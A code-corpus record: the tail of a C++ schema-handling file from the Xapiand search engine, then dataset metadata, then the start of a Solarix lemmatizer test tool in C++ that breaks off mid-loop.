bool(specification.flags.numeric_detection), _numeric_detection); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_geo_detection(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_GEO_DETECTION is heritable and can't change. L_CALL("Schema::consistency_geo_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _geo_detection = prop_obj.boolean(); if (specification.flags.geo_detection != _geo_detection) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.geo_detection), _geo_detection); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_bool_detection(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_BOOL_DETECTION is heritable and can't change. L_CALL("Schema::consistency_bool_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _bool_detection = prop_obj.boolean(); if (specification.flags.bool_detection != _bool_detection) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.bool_detection), _bool_detection); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_text_detection(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_TEXT_DETECTION is heritable and can't change. L_CALL("Schema::consistency_text_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _text_detection = prop_obj.boolean(); if (specification.flags.text_detection != _text_detection) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.text_detection), _text_detection); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_uuid_detection(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_UUID_DETECTION is heritable and can't change. L_CALL("Schema::consistency_uuid_detection({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _uuid_detection = prop_obj.boolean(); if (specification.flags.uuid_detection != _uuid_detection) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.uuid_detection), _uuid_detection); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_namespace(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_NAMESPACE isn't heritable and can't change once fixed. L_CALL("Schema::consistency_namespace({})", repr(prop_obj.to_string())); if (prop_obj.is_boolean()) { const auto _is_namespace = prop_obj.boolean(); if (specification.flags.is_namespace != _is_namespace) { THROW(ClientError, "It is not allowed to change {} [{} -> {}]", repr(prop_name), bool(specification.flags.is_namespace), _is_namespace); } } else { THROW(ClientError, "Data inconsistency, {} must be boolean", repr(prop_name)); } } inline void Schema::consistency_schema(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_SCHEMA isn't heritable and is only allowed in root object. L_CALL("Schema::consistency_schema({})", repr(prop_obj.to_string())); if (specification.full_meta_name.empty()) { if (!prop_obj.is_string() && !prop_obj.is_map()) { THROW(ClientError, "{} must be string or map", repr(prop_name)); } } else { THROW(ClientError, "{} is only allowed in root object", repr(prop_name)); } } inline void Schema::consistency_settings(std::string_view prop_name, const MsgPack& prop_obj) { // RESERVED_SETTINGS isn't heritable and is only allowed in root object. L_CALL("Schema::consistency_settings({})", repr(prop_obj.to_string())); if (specification.full_meta_name.empty()) { if (!prop_obj.is_map()) { THROW(ClientError, "{} must be string or map", repr(prop_name)); } } else { THROW(ClientError, "{} is only allowed in root object", repr(prop_name)); } } #ifdef XAPIAND_CHAISCRIPT inline void Schema::write_script(MsgPack& mut_properties) { // RESERVED_SCRIPT isn't heritable and can't change once fixed. L_CALL("Schema::write_script({})", repr(mut_properties.to_string())); if (specification.script) { Script script(*specification.script); specification.script = std::make_unique<const MsgPack>(script.process_script(specification.flags.strict)); mut_properties[RESERVED_SCRIPT] = *specification.script; specification.flags.normalized_script = true; } } void Schema::normalize_script() { // RESERVED_SCRIPT isn't heritable. L_CALL("Schema::normalize_script()"); if (specification.script && !specification.flags.normalized_script) { Script script(*specification.script); specification.script = std::make_unique<const MsgPack>(script.process_script(specification.flags.strict)); specification.flags.normalized_script = true; } } #endif void Schema::set_namespace_spc_id(required_spc_t& spc) { L_CALL("Schema::set_namespace_spc_id(<spc>)"); // ID_FIELD_NAME cannot be text or string. if (spc.sep_types[SPC_CONCRETE_TYPE] == FieldType::text || spc.sep_types[SPC_CONCRETE_TYPE] == FieldType::string) { spc.sep_types[SPC_CONCRETE_TYPE] = FieldType::keyword; } spc.prefix.field = NAMESPACE_PREFIX_ID_FIELD_NAME; spc.slot = get_slot(spc.prefix.field, spc.get_ctype()); } void Schema::set_default_spc_id(MsgPack& mut_properties) { L_CALL("Schema::set_default_spc_id({})", repr(mut_properties.to_string())); specification.flags.bool_term = true; specification.flags.has_bool_term = true; mut_properties[RESERVED_BOOL_TERM] = true; // force bool term if (!specification.flags.has_index) { const auto index = specification.index | TypeIndex::FIELD_ALL; // force field_all if (specification.index != index) { specification.index = index; mut_properties[RESERVED_INDEX] = _get_str_index(index); } specification.flags.has_index = true; } // ID_FIELD_NAME cannot be TEXT nor STRING. if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::text || specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::string) { specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::keyword; L_DEBUG("{} cannot be type string or text, it's type was changed to keyword", ID_FIELD_NAME); } // Set default prefix specification.local_prefix.field = DOCUMENT_ID_TERM_PREFIX; // Set default RESERVED_SLOT specification.slot = DB_SLOT_ID; } void Schema::set_default_spc_version([[maybe_unused]] MsgPack& mut_properties) { L_CALL("Schema::set_default_spc_version({})", repr(mut_properties.to_string())); specification.flags.store = false; specification.slot = DB_SLOT_VERSION; specification.index = TypeIndex::FIELD_VALUES; specification.sep_types[SPC_CONCRETE_TYPE] = FieldType::positive; } const MsgPack Schema::get_full(bool readable) const { L_CALL("Schema::get_full({})", readable); auto full_schema = get_schema(); if (readable) { dispatch_readable(full_schema, true); } if (!origin.empty()) { full_schema[RESERVED_TYPE] = "foreign/object"; full_schema[RESERVED_ENDPOINT] = origin; } return full_schema; } inline bool Schema::_dispatch_readable(uint32_t key, MsgPack& value, MsgPack& properties) { L_CALL("Schema::_dispatch_readable({})", repr(value.to_string())); constexpr static auto _ = phf::make_phf({ hh(RESERVED_TYPE), hh(RESERVED_PREFIX), hh(RESERVED_SLOT), hh(RESERVED_STEM_LANGUAGE), hh(RESERVED_ACC_PREFIX), hh(RESERVED_SCRIPT), }); switch (key) { case _.fhh(RESERVED_PREFIX): return Schema::readable_prefix(value, properties); case _.fhh(RESERVED_SLOT): return Schema::readable_slot(value, properties); case _.fhh(RESERVED_STEM_LANGUAGE): return Schema::readable_stem_language(value, properties); case _.fhh(RESERVED_ACC_PREFIX): return Schema::readable_acc_prefix(value, properties); case _.fhh(RESERVED_SCRIPT): return Schema::readable_script(value, properties); default: throw std::out_of_range("Invalid readable"); } } void Schema::dispatch_readable(MsgPack& item_schema, bool at_root) { L_CALL("Schema::dispatch_readable({}, {})", repr(item_schema.to_string()), at_root); // Change this item of schema in readable form. for (auto it = item_schema.begin(); it != item_schema.end(); ) { auto str_key = it->str_view(); auto& value = it.value(); auto key = hh(str_key); try { if (is_reserved(str_key)) { if (!_dispatch_readable(key, value, item_schema)) { it = item_schema.erase(it); continue; } ++it; continue; } } catch (const std::out_of_range&) { } if (is_valid(str_key)) { if (value.is_map()) { dispatch_readable(value, false); } } else if (has_dispatch_set_default_spc(key)) { if (at_root) { it = item_schema.erase(it); continue; } if (value.is_map()) { dispatch_readable(value, false); } } ++it; } } inline bool Schema::readable_prefix(MsgPack& /*unused*/, MsgPack& /*unused*/) { L_CALL("Schema::readable_prefix(...)"); return false; } inline bool Schema::readable_slot(MsgPack& /*unused*/, MsgPack& /*unused*/) { L_CALL("Schema::readable_slot(...)"); return false; } inline bool Schema::readable_stem_language(MsgPack& prop_obj, MsgPack& properties) { L_CALL("Schema::readable_stem_language({})", repr(prop_obj.to_string())); const auto language = properties[RESERVED_LANGUAGE].str_view(); const auto stem_language = prop_obj.str_view(); return (language != stem_language); } inline bool Schema::readable_acc_prefix(MsgPack& /*unused*/, MsgPack& /*unused*/) { L_CALL("Schema::readable_acc_prefix(...)"); return false; } inline bool Schema::readable_script(MsgPack& prop_obj, MsgPack& /*unused*/) { L_CALL("Schema::readable_script({})", repr(prop_obj.to_string())); dispatch_readable(prop_obj, false); return true; } std::shared_ptr<const MsgPack> Schema::get_modified_schema() { L_CALL("Schema::get_modified_schema()"); if (!mut_schema) { return std::shared_ptr<const MsgPack>(); } auto m_schema = std::shared_ptr<const MsgPack>(mut_schema.release()); m_schema->lock(); return m_schema; } std::shared_ptr<const MsgPack> Schema::get_const_schema() const { L_CALL("Schema::get_const_schema()"); return schema; } std::string Schema::to_string(bool prettify) const { L_CALL("Schema::to_string({})", prettify); return get_full(true).to_string(static_cast<int>(prettify)); } required_spc_t _get_data_id(required_spc_t& spc_id, const MsgPack& id_properties) { auto id_it_e = id_properties.end(); auto id_type_it = id_properties.find(RESERVED_TYPE); if (id_type_it != id_it_e) { spc_id.sep_types[SPC_CONCRETE_TYPE] = required_spc_t::get_types(id_type_it.value().str_view())[SPC_CONCRETE_TYPE]; } auto id_slot_it = id_properties.find(RESERVED_SLOT); if (id_slot_it != id_it_e) { spc_id.slot = static_cast<Xapian::valueno>(id_slot_it.value().u64()); } auto id_prefix_it = id_properties.find(RESERVED_PREFIX); if (id_slot_it != id_it_e) { spc_id.prefix.field.assign(id_prefix_it.value().str_view()); } // Get required specification. switch (spc_id.sep_types[SPC_CONCRETE_TYPE]) { case FieldType::geo: { auto id_partials_it = id_properties.find(RESERVED_PARTIALS); if (id_partials_it != id_it_e) { spc_id.flags.partials = id_partials_it.value().boolean(); } auto id_error_it = id_properties.find(RESERVED_ERROR); if (id_error_it != id_it_e) { spc_id.error = id_error_it.value().f64(); } break; } case FieldType::keyword: { auto id_bool_term_it = id_properties.find(RESERVED_BOOL_TERM); if (id_bool_term_it != id_it_e) { spc_id.flags.bool_term = id_bool_term_it.value().boolean(); } break; } default: break; } return spc_id; } required_spc_t Schema::get_data_id() const { L_CALL("Schema::get_data_id()"); required_spc_t spc_id; // Set default prefix spc_id.prefix.field = DOCUMENT_ID_TERM_PREFIX; // Set default RESERVED_SLOT spc_id.slot = DB_SLOT_ID; const auto& properties = get_newest_properties(); auto it = properties.find(ID_FIELD_NAME); if (it == properties.end()) { return spc_id; } const auto& id_properties = it.value(); if (!id_properties.is_map()) { return spc_id; } return _get_data_id(spc_id, id_properties); } void Schema::set_data_id(const required_spc_t& spc_id) { L_CALL("Schema::set_data_id(<spc_id>)"); auto& mut_properties = get_mutable_properties(ID_FIELD_NAME); mut_properties[RESERVED_TYPE] = spc_id.get_str_type(); mut_properties[RESERVED_SLOT] = spc_id.slot; mut_properties[RESERVED_PREFIX] = spc_id.prefix.field; switch (spc_id.get_type()) { case FieldType::geo: { mut_properties[RESERVED_PARTIALS] = spc_id.flags.partials; mut_properties[RESERVED_ERROR] = spc_id.error; break; } case FieldType::keyword: { mut_properties[RESERVED_BOOL_TERM] = spc_id.flags.bool_term; break; } default: break; } } MsgPack Schema::get_data_script() const { L_CALL("Schema::get_data_script()"); const auto& properties = get_newest_properties(); auto it_e = properties.end(); auto it = properties.find(RESERVED_SCRIPT); if (it != it_e) { return it.value(); } return MsgPack(); } std::pair<required_spc_t, std::string> Schema::get_data_field(std::string_view field_name, bool is_range) const { L_CALL("Schema::get_data_field({}, {})", repr(field_name), is_range); required_spc_t res; if (field_name.empty()) { return std::make_pair(std::move(res), ""); } auto spc = get_dynamic_subproperties(get_properties(), field_name); res.flags.inside_namespace = spc.inside_namespace; res.prefix.field = std::move(spc.prefix); if (!spc.acc_field.empty()) { res.sep_types[SPC_CONCRETE_TYPE] = spc.acc_field_type; return std::make_pair(res, std::move(spc.acc_field)); } if (!res.flags.inside_namespace) { const auto& properties = *spc.properties; auto it_e = properties.end(); auto type_it = properties.find(RESERVED_TYPE); if (type_it != it_e) { res.sep_types[SPC_CONCRETE_TYPE] = required_spc_t::get_types(type_it.value().str_view())[SPC_CONCRETE_TYPE]; } if (res.sep_types[SPC_CONCRETE_TYPE] == FieldType::empty) { return std::make_pair(std::move(res), ""); } if (is_range) { if (spc.has_uuid_prefix) { res.slot = get_slot(res.prefix.field, res.get_ctype()); } else { auto slot_it = properties.find(RESERVED_SLOT); if (slot_it != it_e) { res.slot = static_cast<Xapian::valueno>(slot_it.value().u64()); } } // Get required specification. switch (res.sep_types[SPC_CONCRETE_TYPE]) { case FieldType::geo: { auto partials_it = properties.find(RESERVED_PARTIALS); if (partials_it != it_e) { res.flags.partials = partials_it.value().boolean(); } auto error_it = properties.find(RESERVED_ERROR); if (error_it != it_e) { res.error = error_it.value().f64(); } } [[fallthrough]]; case FieldType::floating: case FieldType::integer: case FieldType::positive: case FieldType::date: case FieldType::datetime: case FieldType::time: case FieldType::timedelta: { auto accuracy_it = properties.find(RESERVED_ACCURACY); if (accuracy_it != it_e) { for (const auto& acc : accuracy_it.value()) { uint64_t accuracy; if (acc.is_string()) { auto accuracy_date = _get_accuracy_datetime(acc.str_view()); if (accuracy_date != UnitTime::INVALID) { accuracy = toUType(accuracy_date); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_ACCURACY, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else { accuracy = acc.u64(); } res.accuracy.push_back(accuracy); } } auto acc_prefix_it = properties.find(RESERVED_ACC_PREFIX); if (acc_prefix_it != it_e) { for (const auto& acc_p : acc_prefix_it.value()) { res.acc_prefix.push_back(res.prefix.field + acc_p.str()); } } break; } case FieldType::string: case FieldType::text: { auto ngram_it = properties.find(RESERVED_NGRAM); if (ngram_it != it_e) { res.flags.ngram = ngram_it.value().boolean(); } auto cjk_ngram_it = properties.find(RESERVED_CJK_NGRAM); if (cjk_ngram_it != it_e) { res.flags.cjk_ngram = cjk_ngram_it.value().boolean(); } auto cjk_words_it = properties.find(RESERVED_CJK_WORDS); if (cjk_words_it != it_e) { res.flags.cjk_words = cjk_words_it.value().boolean(); } auto language_it = properties.find(RESERVED_LANGUAGE); if (language_it != it_e) { res.language = language_it.value().str(); } if (!res.language.empty()) { auto stop_strategy_it = properties.find(RESERVED_STOP_STRATEGY); if (stop_strategy_it != it_e) { res.stop_strategy = _get_stop_strategy(stop_strategy_it.value().str_view()); } } auto stem_language_it = properties.find(RESERVED_STEM_LANGUAGE); if (stem_language_it != it_e) { res.stem_language = stem_language_it.value().str(); } if (!res.stem_language.empty()) { auto stem_strategy_it = properties.find(RESERVED_STEM_STRATEGY); if (stem_strategy_it != it_e) { res.stem_strategy = enum_type<StemStrategy>(stem_strategy_it.value().str_view()); } } break; } case FieldType::keyword: { auto bool_term_it = properties.find(RESERVED_BOOL_TERM); if (bool_term_it != it_e) { res.flags.bool_term = bool_term_it.value().boolean(); } break; } default: break; } } else { // Get required specification. switch (res.sep_types[SPC_CONCRETE_TYPE]) { case FieldType::geo: { auto partials_it = properties.find(RESERVED_PARTIALS); if (partials_it != it_e) { res.flags.partials = partials_it.value().boolean(); } auto error_it = properties.find(RESERVED_ERROR); if (error_it != it_e) { res.error = error_it.value().f64(); } break; } case FieldType::string: case FieldType::text: { auto ngram_it = properties.find(RESERVED_NGRAM); if (ngram_it != it_e) { res.flags.ngram = ngram_it.value().boolean(); } auto cjk_ngram_it = properties.find(RESERVED_CJK_NGRAM); if (cjk_ngram_it != it_e) { res.flags.cjk_ngram = cjk_ngram_it.value().boolean(); } auto cjk_words_it = properties.find(RESERVED_CJK_WORDS); if (cjk_words_it != it_e) { res.flags.cjk_words = cjk_words_it.value().boolean(); } auto language_it = properties.find(RESERVED_LANGUAGE); if (language_it != it_e) { res.language = language_it.value().str(); } if (!res.language.empty()) { auto stop_strategy_it = properties.find(RESERVED_STOP_STRATEGY); if (stop_strategy_it != it_e) { res.stop_strategy = _get_stop_strategy(stop_strategy_it.value().str_view()); } } auto stem_language_it = properties.find(RESERVED_STEM_LANGUAGE); if (stem_language_it != it_e) { res.stem_language = stem_language_it.value().str(); } if (!res.stem_language.empty()) { auto stem_strategy_it = properties.find(RESERVED_STEM_STRATEGY); if (stem_strategy_it != it_e) { res.stem_strategy = enum_type<StemStrategy>(stem_strategy_it.value().str_view()); } } break; } case FieldType::keyword: { auto bool_term_it = properties.find(RESERVED_BOOL_TERM); if (bool_term_it != it_e) { res.flags.bool_term = bool_term_it.value().boolean(); } break; } default: break; } } } return std::make_pair(std::move(res), ""); } required_spc_t Schema::get_slot_field(std::string_view field_name) const { L_CALL("Schema::get_slot_field({})", repr(field_name)); required_spc_t res; if (field_name.empty()) { return res; } auto spc = get_dynamic_subproperties(get_properties(), field_name); res.flags.inside_namespace = spc.inside_namespace; if (!spc.acc_field.empty()) { THROW(ClientError, "Field {} is an accuracy, therefore does not have slot", repr(field_name)); } if (res.flags.inside_namespace) { res.sep_types[SPC_CONCRETE_TYPE] = FieldType::keyword; res.slot = get_slot(spc.prefix, res.get_ctype()); } else { const auto& properties = *spc.properties; auto it_e = properties.end(); auto type_it = properties.find(RESERVED_TYPE); if (type_it != it_e) { res.sep_types[SPC_CONCRETE_TYPE] = required_spc_t::get_types(type_it.value().str_view())[SPC_CONCRETE_TYPE]; } if (spc.has_uuid_prefix) { res.slot = get_slot(spc.prefix, res.get_ctype()); } else { auto slot_it = properties.find(RESERVED_SLOT); if (slot_it != it_e) { res.slot = static_cast<Xapian::valueno>(slot_it.value().u64()); } } // Get required specification. switch (res.sep_types[SPC_CONCRETE_TYPE]) { case FieldType::geo: { auto partials_it = properties.find(RESERVED_PARTIALS); if (partials_it != it_e) { res.flags.partials = partials_it.value().boolean(); } auto error_it = properties.find(RESERVED_ERROR); if (error_it != it_e) { res.error = error_it.value().f64(); } break; } case FieldType::string: case FieldType::text: { auto ngram_it = properties.find(RESERVED_NGRAM); if (ngram_it != it_e) { res.flags.ngram = ngram_it.value().boolean(); } auto cjk_ngram_it = properties.find(RESERVED_CJK_NGRAM); if (cjk_ngram_it != it_e) { res.flags.cjk_ngram = cjk_ngram_it.value().boolean(); } auto cjk_words_it = properties.find(RESERVED_CJK_WORDS); if (cjk_words_it != it_e) { res.flags.cjk_words = cjk_words_it.value().boolean(); } auto language_it = properties.find(RESERVED_LANGUAGE); if (language_it != it_e) { res.language = language_it.value().str(); } if (!res.language.empty()) { auto stop_strategy_it = properties.find(RESERVED_STOP_STRATEGY); if (stop_strategy_it != it_e) { res.stop_strategy = _get_stop_strategy(stop_strategy_it.value().str_view()); } } auto stem_language_it = properties.find(RESERVED_STEM_LANGUAGE); if (stem_language_it != it_e) { res.stem_language = stem_language_it.value().str(); } if (!res.stem_language.empty()) { auto stem_strategy_it = properties.find(RESERVED_STEM_STRATEGY); if (stem_strategy_it != it_e) { res.stem_strategy = enum_type<StemStrategy>(stem_strategy_it.value().str_view()); } } break; } case FieldType::keyword: { auto bool_term_it = properties.find(RESERVED_BOOL_TERM); if (bool_term_it != it_e) { res.flags.bool_term = bool_term_it.value().boolean(); } break; } default: break; } } return res; } Schema::dynamic_spc_t Schema::get_dynamic_subproperties(const MsgPack& properties, std::string_view full_name) const { L_CALL("Schema::get_dynamic_subproperties({}, {})", repr(properties.to_string()), repr(full_name)); Split<std::string_view> field_names(full_name, DB_OFFSPRING_UNION); dynamic_spc_t spc(&properties); const auto it_e = field_names.end(); const auto it_b = field_names.begin(); for (auto it = it_b; it != it_e; ++it) { auto field_name = *it; if (!is_valid(field_name)) { // Check if the field_name is accuracy. if (it == it_b) { if (!has_dispatch_set_default_spc(hh(field_name))) { if (++it == it_e) { auto acc_data = _get_acc_data(field_name); spc.prefix.append(acc_data.first); spc.acc_field.assign(std::move(field_name)); spc.acc_field_type = acc_data.second; return spc; } THROW(ClientError, "The field name: {} in {} is not valid", repr_field(full_name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } else if (++it == it_e) { auto acc_data = _get_acc_data(field_name); spc.prefix.append(acc_data.first); spc.acc_field.assign(std::move(field_name)); spc.acc_field_type = acc_data.second; return spc; } else { THROW(ClientError, "Field {} in {} is not valid", repr_field(full_name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } auto field_it = spc.properties->find(field_name); if (field_it != spc.properties->end()) { spc.properties = &field_it.value(); auto prefix_it = spc.properties->find(RESERVED_PREFIX); if (prefix_it != spc.properties->end()) { spc.prefix.append(prefix_it.value().str()); } else { spc.prefix.append(get_prefix(field_name)); } } else { if (Serialise::possiblyUUID(field_name)) { try { const auto prefix_uuid = Serialise::uuid(field_name); spc.has_uuid_prefix = true; field_it = spc.properties->find(UUID_FIELD_NAME); if (field_it != spc.properties->end()) { spc.properties = &field_it.value(); } spc.prefix.append(prefix_uuid); } catch (const SerialisationError&) { spc.prefix.append(get_prefix(field_name)); } } else { spc.prefix.append(get_prefix(field_name)); } // It is a search using partial prefix. size_t depth_partials = std::distance(it, it_e); if (depth_partials > LIMIT_PARTIAL_PATHS_DEPTH) { THROW(ClientError, "Partial paths limit depth is {}, and partial paths provided has a depth of {}", LIMIT_PARTIAL_PATHS_DEPTH, depth_partials); } spc.inside_namespace = true; for (++it; it != it_e; ++it) { auto partial_field = *it; if (is_valid(partial_field)) { if (Serialise::possiblyUUID(field_name)) { try { spc.prefix.append(Serialise::uuid(partial_field)); spc.has_uuid_prefix = true; } catch (const SerialisationError&) { spc.prefix.append(get_prefix(partial_field)); } } else { spc.prefix.append(get_prefix(partial_field)); } } else if (++it == it_e) { auto acc_data = _get_acc_data(partial_field); spc.prefix.append(acc_data.first); spc.acc_field.assign(std::move(partial_field)); spc.acc_field_type = acc_data.second; return spc; } else { THROW(ClientError, "Field {} in {} is not valid", repr_field(full_name, partial_field), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } return spc; } } return spc; }
33.457599
420
0.694675
[ "mesh", "geometry", "object", "vector" ]
bbba0e97cae8143b1e23cb5a7c9fd433cf33c48b
18,616
cpp
C++
src/demo/ai/solarix/Grammar_Engine/Lemmatizator/C/LemmatizatorTool.cpp
name212/GrammarEngine
1912809d6a19977c9d2fff88279b76a6152b659d
[ "MIT" ]
55
2015-04-11T17:39:27.000Z
2022-01-07T17:52:22.000Z
src/demo/ai/solarix/Grammar_Engine/Lemmatizator/C/LemmatizatorTool.cpp
name212/GrammarEngine
1912809d6a19977c9d2fff88279b76a6152b659d
[ "MIT" ]
17
2017-11-22T13:31:11.000Z
2021-06-06T08:30:43.000Z
src/demo/ai/solarix/Grammar_Engine/Lemmatizator/C/LemmatizatorTool.cpp
qwazer/GrammarEngine
08e1eb7bdfd77f29a51a7063848d74b9171291c4
[ "MIT" ]
28
2015-05-21T08:27:31.000Z
2022-02-24T21:42:36.000Z
// Lemmatization API sample code. // The program is also used as a test tool for lemmatizer. // // (c) by Elijah Koziev MentalComputing@gmail.com // // More information at: http://www.solarix.ru/for_developers/api/lemmatizator-api.shtml #include <stdio.h> #include <memory.h> #include <string.h> #include <string> #include <stdlib.h> #include "../../../../../../include/lem/solarix/lemmatizator_engine.h" #if defined CHECK_MODEL #include "../../../../../../include/lem/solarix/solarix_grammar_engine.h" #include "../../../../../../include/lem/solarix/_sg_api.h" #endif #if defined(__DARWIN_X11__) #define _DARWIN #elif defined(__APPLE__) && (defined(__GNUC__) || defined(__xlC__)) #define _DARWIN #elif defined(__MACOSX__) #define _DARWIN #endif #if defined _WIN32 #include <string> #include <vector> #include <windows.h> static void fprint8( FILE *f, const char *utf8 ) { const int l8 = strlen(utf8); char * a = new char[ l8+1 ]; wchar_t *w = new wchar_t[ l8+1 ]; MultiByteToWideChar( CP_UTF8, 0, utf8, l8+1, w, l8+1 ); int w8 = wcslen(w); memset( a, 0, l8 ); WideCharToMultiByte( CP_OEMCP, 0, w, w8+1, a, l8+1, NULL, NULL ); fprintf( f, "%s", a ); delete[] w; delete[] a; return; } #else static void fprint8( FILE *f, const char *utf8 ) { fprintf( f, "%s", utf8 ); return; } #endif static void print8( const char *utf8 ) { fprint8( stdout, utf8 ); } #if defined CHECK_MODEL static int stricmp8( const char * s1, const char * s2 ) { #if defined WIN32 const int l1 = strlen(s1); wchar_t *w1 = new wchar_t[ l1+1 ]; MultiByteToWideChar( CP_UTF8, 0, s1, l1+1, w1, l1+1 ); const int l2 = strlen(s2); wchar_t *w2 = new wchar_t[ l2+1 ]; MultiByteToWideChar( CP_UTF8, 0, s2, l2+1, w2, l2+1 ); CharLowerBuffW( w1, l1 ); CharLowerBuffW( w2, l2 ); for( int i=0; i<l1; ++i ) if( w1[i]==0x0401 ) w1[i] = 0x0415; else if( w1[i]==0x0451 ) w1[i] = 0x0435; for( int i=0; i<l2; ++i ) if( w2[i]==0x0401 ) w2[i] = 0x0415; else if( w2[i]==0x0451 ) w2[i] = 0x0435; int rc = wcscmp( w1, w2 ); delete[] w1; delete[] w2; return rc; #else #error not yet implemented #endif } #endif static void reads( char *buffer, int len, FILE *file ) { *buffer=0; fgets( buffer, len, file ); int l = strlen(buffer); if( l>0 ) { if( l>=2 ) { if( buffer[l-2]=='\r' && buffer[l-1]=='\n' ) { buffer[l-2]=0; } else if( buffer[l-1]=='\n' ) { buffer[l-1]=0; } } else if( l==1 ) { if( buffer[l-1]=='\n' ) { buffer[l-1]=0; } } } return; } static bool xisspace( char c ) { return c==' ' || c=='\t' || c=='\r' || c=='\n'; } static void trim( char * str ) { int ileft=0; while( str[ileft]!=0 && xisspace(str[ileft]) ) ileft++; char *line2 = str+ileft; int iright = strlen(line2)-1; while( iright>0 ) { if( !xisspace( line2[iright] ) ) { line2[iright+1]=0; break; } iright--; } memmove( str, line2, strlen(line2)+1 ); return; } #if defined CHECK_MODEL void CheckModel( const char * dictionary_path, const char * corpus_path, const char * log_path, const char * language ) { const int LanguageID = RUSSIAN_LANGUAGE; // TODO: recognize the language by 'language' argument HGREN hEngine = sol_CreateGrammarEngine(NULL); int load_status = sol_LoadDictionaryExA( hEngine, (std::string(dictionary_path)+"\\dictionary.xml").c_str(), 0 ); if( load_status!=1 ) { printf( "Could not load the dictionary\n" ); exit(1); } HLEM hLemm = sol_LoadLemmatizatorA( (std::string(dictionary_path)+"\\lemmatizer.db").c_str(), LEME_DEFAULT ); if( hLemm==NULL ) { printf( "Could not load the lemmatizator\n" ); exit(1); } FILE *file = fopen( corpus_path, "rt" ); if( file==NULL ) { printf( "Can not open file %s\n", corpus_path ); exit(1); } FILE *log_file = fopen( log_path, "wt" ); if( log_file==NULL ) { printf( "Can not open file %s\n", log_path ); exit(1); } char line[1000], sentence[1000]; // Optionally skip the BOM fread( line, 3, 1, file ); if( line[0]!=(char)0xef || line[1]!=(char)0xbb || line[2]!=(char)0xbf ) fseek( file, 0, SEEK_SET ); bool AllowFuzzy=false; bool TopDown=true; bool CompleteOnly=true; bool EnableFilters=true; // по умолчанию фильтры включены bool EnableTokenReconstruction=false; bool EnableSparse=false; bool BottomUp=false; int total_word_count=0; int n_err=0; int sentence_count=0; while( !feof(file) ) { *line=0; reads( line, 1000, file ); trim(line); if( strlen(line)==0 ) continue; if( line[0]=='#' ) { if( memcmp( line, "#exit", 5 )==0 ) break; if( memcmp( line, "#fuzzyon", 8 )==0 ) { AllowFuzzy=true; } else if( memcmp( line, "#fuzzyoff", 9 )==0 ) { AllowFuzzy=false; } else if( memcmp( line, "#allow_incomplete", 17 )==0 ) { TopDown=true; CompleteOnly=false; EnableSparse=false; BottomUp=false; } else if( memcmp( line, "#disallow_incomplete", 20 )==0 ) { CompleteOnly=true; TopDown=true; EnableSparse=false; BottomUp=false; } else if( memcmp( line, "#disable_filters", 16 )==0 ) { EnableFilters=false; } else if( memcmp( line, "#enable_filters", 15 )==0 ) { EnableFilters=true; } else if( memcmp( line, "#allow_reco", 11 )==0 ) { EnableTokenReconstruction=true; } else if( memcmp( line, "#disallow_reco", 14 )==0 ) { EnableTokenReconstruction=false; } else if( memcmp( line, "#sparse", 7 )==0 ) { EnableSparse=true; BottomUp=false; TopDown=false; CompleteOnly=true; } else if( memcmp( line, "#bottomup", 10 )==0 ) { BottomUp=true; EnableSparse=false; TopDown=false; CompleteOnly=true; } else if( memcmp( line, "#topdown", 14 )==0 ) { TopDown=true; CompleteOnly=true; EnableSparse=false; BottomUp=false; } continue; } if( strncmp( line, "$begin", 6 )!=0 ) { printf( "$begin token is expected, got " ); print8(line); printf( "\n" ); exit(1); } reads( line, 1000, file ); trim(line); strcpy( sentence, line ); if( !AllowFuzzy && CompleteOnly && TopDown && !EnableTokenReconstruction ) { int Flags = 0; if( CompleteOnly ) Flags |= SOL_GREN_COMPLETE_ONLY; //Flags |= SOL_GREN_TOPDOWN; HGREN_RESPACK hs = sol_MorphologyAnalysis8( hEngine, line, Flags, 0, 300000, LanguageID ); if( hs==NULL ) { printf( "Error has occured for sentence " ); print8(sentence); printf( "\n" ); exit(1); } sentence[0] = 0; const int nroot = sol_CountRoots(hs,0); for( int i=1; i<nroot-1; ++i ) { if( i==0 ) strcat( sentence, "~~BEGIN~~" ); else if( i==nroot-1 ) strcat( sentence, "|~~END~~" ); else { if( sentence[0]!=0 ) strcat( sentence, "|" ); HGREN_TREENODE hNode = sol_GetRoot( hs, 0, i ); char Buffer8[100]; sol_GetNodeContents8( hNode, Buffer8 ); strcat( sentence, Buffer8 ); } } HLEMMAS hList = sol_LemmatizePhrase8( hLemm, sentence, 0, L'|' ); if( hList!=NULL ) { const int nlemma = sol_CountLemmas(hList); const int nroot = sol_CountRoots(hs,0); if( nroot-2 == nlemma ) { printf( "[%d] ", sentence_count++ ); 